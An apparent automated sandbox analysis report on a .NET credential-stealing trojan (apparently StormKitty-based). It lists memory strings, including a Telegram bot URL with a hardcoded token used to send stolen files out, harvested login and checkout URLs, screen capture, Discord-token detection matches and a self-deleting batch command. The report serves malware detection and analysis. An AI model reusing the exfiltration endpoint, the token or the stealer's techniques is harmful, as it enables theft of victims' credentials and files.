Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5444063802:AAFQNx_Hpow_i63EVEkfhenefbLEXQSAzbY/sendDocument?chat_id=1126
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botp
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://co.pinterest.com/
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://elmejorperfume.com/checkout/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://es.pinterest.com/pin/329325791483354616/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://es.scribd.com/doc/116279436/Tabla-Conversion-Completa
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://es.scribd.com/doc/181228937/Manual-de-Ayuda-Vectric-Aspire-3-5
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://facturanet.todo1.com/CO/login_CO.aspx
Source: HTZ4az17lj.exe, 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://github.com/join
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://id.tigo.com/openid/login/signup_form
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://login.live.com/login.srf
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://micorreo.telmex.com/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://portal.vectric.com/register/9W7jITU6QgSBfrIhb_0UOw
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://portal.vectric.com/registerNew
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://pse.todo1.com/PseBancolombia/control/ElectronicPayment.bancolombia
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://registration.mercadolibre.com.co/registration-buy
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://reset.vova.com/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://resultados.lch.com.co/ingresar
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://secure.totalav.com/createlogin
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://shop.site-link.com/peachtreeorder/custinfo.asp
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://todoenartes.com/register
Source: p.html.0.dr	String found in binary or memory: https://webmail.claro.net.co/app/s/LoginPage.asp
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://webmail.telmex.net.co/app/s/LoginPage.asp
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://woodsmithlibrary.foxycart.com/checkout
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://wsvideoedition.foxycart.com/checkout
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.amazon.com/ap/forgotpassword
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.amazon.com/ap/signin
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.banggood.com/login.html
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.buildsomething.com/sign-up
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.directv.com.co/Midirectv/home/LogIn
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.directv.com.co/midirectv/ingresar
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.dominos.com.co/pages/order/payment
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.dropbox.com/s/ppd4vfvmii0jnt8/Cam%20lever%20clamps%20for%20worksurfaces%20with%20dog%20h
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.gef.com.co/tienda/UserRegistrationForm
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.grammarly.com/signup
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.hponline.com.co/account/login
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.iclaro.com.hn/app/s/LoginPage.asp
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.incrementaltools.com/one-page-checkout.asp
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.instagram.com/accounts/signup/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.instructables.com/id/DIY-Chess-Board/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.mercadolibre.com.co/registration-buy
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.miclaroapp.com.co/
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: History.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/)
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959166F000.00000004.00000800.00020000.00000000.sdmp, HTZ4az17lj.exe, 00000000.00000002.2138246850.00000295910EE000.00000004.00000800.00020000.00000000.sdmp, places.raw.0.dr, tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959166F000.00000004.00000800.00020000.00000000.sdmp, HTZ4az17lj.exe, 00000000.00000002.2138246850.00000295910EE000.00000004.00000800.00020000.00000000.sdmp, places.raw.0.dr, tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959166F000.00000004.00000800.00020000.00000000.sdmp, HTZ4az17lj.exe, 00000000.00000002.2138246850.00000295910EE000.00000004.00000800.00020000.00000000.sdmp, places.raw.0.dr, tmp756C.tmp.dat.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.mundialdetornillos.com/index.php
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.panamericana.com.co/registro/inicio
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.paypal.com/signin
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.paypal.com/webapps/hermes
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.pdffiller.com/en/login.htm
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.pinterest.com/smmmokin14/woodworking-tips-and-jigs/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.pinterest.es/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.ptreeorder.com/custinfo.asp
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.spotify.com/co/signup/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.themakersmob.com/register/resend
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.tumblr.com/register
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.vectorart3d.com/store/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.vova.com/es/login.php
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.woodsmithlibrary.com/account/password/reset/complete/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.woodsmithplans.com/account/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.woodsmithshop.com/account/login/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.woodsmithvideoedition.com/account/login/
Source: uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	String found in binary or memory: https://www.wwgoa.com/checkout/

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 104.21.44.66:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.63.206.91:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.5:49727 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: HTZ4az17lj.exe, Type_7.cs	.Net Code: Method_17
Source: uuhbr0xg.h20.exe.0.dr, Type_7.cs	.Net Code: Method_17

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File deleted: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EEGWXUHVUG.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File deleted: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\PIVFAGEAAV.docx	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File deleted: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT\ZGGKNSUKOP.jpg	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File deleted: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL.png	Jump to behavior
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	File deleted: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT.docx	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F1A18D	0_2_00007FF848F1A18D
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F19380	0_2_00007FF848F19380
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F1CDFB	0_2_00007FF848F1CDFB
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F16522	0_2_00007FF848F16522
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F15776	0_2_00007FF848F15776
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F19318	0_2_00007FF848F19318
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F21EB3	0_2_00007FF848F21EB3
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F20862	0_2_00007FF848F20862
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Code function: 0_2_00007FF848F20754	0_2_00007FF848F20754
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Code function: 11_2_00007FF848F16522	11_2_00007FF848F16522
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Code function: 11_2_00007FF848F15776	11_2_00007FF848F15776

Source: uuhbr0xg.h20.exe.0.dr	Static PE information: No import functions for PE file found
Source: HTZ4az17lj.exe	Static PE information: No import functions for PE file found

Source: HTZ4az17lj.exe, 00000000.00000002.2147805254.00000295F7610000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamestub.exe. vs HTZ4az17lj.exe
Source: HTZ4az17lj.exe, 00000000.00000000.1969232734.00000295F4C32000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamechrome.exe. vs HTZ4az17lj.exe
Source: HTZ4az17lj.exe	Binary or memory string: OriginalFilenamechrome.exe. vs HTZ4az17lj.exe

Source: 00000000.00000002.2116685622.0000029580001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: HTZ4az17lj.exe PID: 6044, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: HTZ4az17lj.exe, Type_6.cs	Base64 encoded string: 'SFUUwksm21Jo5J+5xTj7msRAcfAo4qs7FQBZp/dECCssEyp3hstrrTA/CRzvoiV5'
Source: HTZ4az17lj.exe, Type_9.cs	Base64 encoded string: 'pGK3kkOcyYdGAAPi/8G6N1XJe1C6K1NE48AddJAp9UpqE9ETf3AYgdAt7XPV9u0z'
Source: HTZ4az17lj.exe, Type_8.cs	Base64 encoded string: 'Q2p2SPXgwvXo/KwkT4QnizazbFyIJgLa+XpGPG4a4S8Ak3GktEL20KbbAInC27pJ'
Source: HTZ4az17lj.exe, Type_7.cs	Base64 encoded string: 'gH+tHsKNvsbZ1EWhvkP3EI/4krTieZANT0IAF7dhi4rYvHth2WCRnUgs3pnZNNdzV+fF2DM4tXqFk8/R+sF11/V8uT2G+0Jglr9qFD7nWN3TcH2IdXXT5szSY8lpN/c5ERsM6YxPhnZV3qDkhjRx7r+lRv0Gd4haNDkFJkOp6Pg='
Source: HTZ4az17lj.exe, Type_1.cs	Base64 encoded string: '+q2Xl7nHs88OaG9hRih/YibRq4qMW5kY8sZJTp1DrGhRXrx4v2zsTeMTNjbUQPzx'
Source: uuhbr0xg.h20.exe.0.dr, Type_6.cs	Base64 encoded string: 'SFUUwksm21Jo5J+5xTj7msRAcfAo4qs7FQBZp/dECCssEyp3hstrrTA/CRzvoiV5'
Source: uuhbr0xg.h20.exe.0.dr, Type_9.cs	Base64 encoded string: 'pGK3kkOcyYdGAAPi/8G6N1XJe1C6K1NE48AddJAp9UpqE9ETf3AYgdAt7XPV9u0z'
Source: uuhbr0xg.h20.exe.0.dr, Type_8.cs	Base64 encoded string: 'Q2p2SPXgwvXo/KwkT4QnizazbFyIJgLa+XpGPG4a4S8Ak3GktEL20KbbAInC27pJ'
Source: uuhbr0xg.h20.exe.0.dr, Type_7.cs	Base64 encoded string: 'gH+tHsKNvsbZ1EWhvkP3EI/4krTieZANT0IAF7dhi4rYvHth2WCRnUgs3pnZNNdzV+fF2DM4tXqFk8/R+sF11/V8uT2G+0Jglr9qFD7nWN3TcH2IdXXT5szSY8lpN/c5ERsM6YxPhnZV3qDkhjRx7r+lRv0Gd4haNDkFJkOp6Pg='
Source: uuhbr0xg.h20.exe.0.dr, Type_1.cs	Base64 encoded string: '+q2Xl7nHs88OaG9hRih/YibRq4qMW5kY8sZJTp1DrGhRXrx4v2zsTeMTNjbUQPzx'

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@62/153@6/7

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File created: C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3692:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	Mutant created: \Sessions\1\BaseNamedObjects\ITVRTSJIKEJWQ2NQGJOZ
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

File created: C:\Users\user\AppData\Local\Temp\ndoyz5n0.3un

Jump to behavior

Source: C:\Users\user\Desktop\HTZ4az17lj.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat

Source: HTZ4az17lj.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: HTZ4az17lj.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\HTZ4az17lj.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
